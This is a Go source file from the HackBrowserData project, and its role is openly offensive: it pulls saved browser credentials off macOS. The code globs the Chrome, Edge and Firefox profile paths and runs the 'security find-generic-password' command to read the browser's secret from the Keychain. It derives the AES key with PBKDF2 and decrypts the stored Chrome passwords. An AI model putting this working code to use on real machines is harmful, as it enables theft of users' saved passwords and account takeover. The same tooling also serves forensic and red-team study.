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HackBrowserData/utils/utils_darwin.go

118 lines
2.5 KiB

package utils
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeCommand = "Chrome"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
edgeCommand = "Microsoft Edge"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
fireFoxCommand = ""
)
var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"chrome": {
chromeProfilePath,
chromeCommand,
},
"edge": {
edgeProfilePath,
edgeCommand,
},
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
)
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func InitKey(key string) error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
cmd = exec.Command(command[0], command[1], command[2], key)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Println(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Println(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
decryptChromeKey(chromePass)
return err
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 {
return aes128CBCDecrypt(encryptPass[3:])
} else {
return "", &DecryptError{
err: passwordIsEmpty,
}
}
}
func aes128CBCDecrypt(encryptPass []byte) (string, error) {
if len(chromeKey) == 0 {
return "", nil
}
block, err := aes.NewCipher(chromeKey)
if err != nil {
return "", err
}
dst := make([]byte, len(encryptPass))
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(dst, encryptPass)
dst = PKCS5UnPadding(dst)
return string(dst), nil
}
func PKCS5UnPadding(src []byte) []byte {
length := len(src)
unpadding := int(src[length-1])
return src[:(length - unpadding)]
}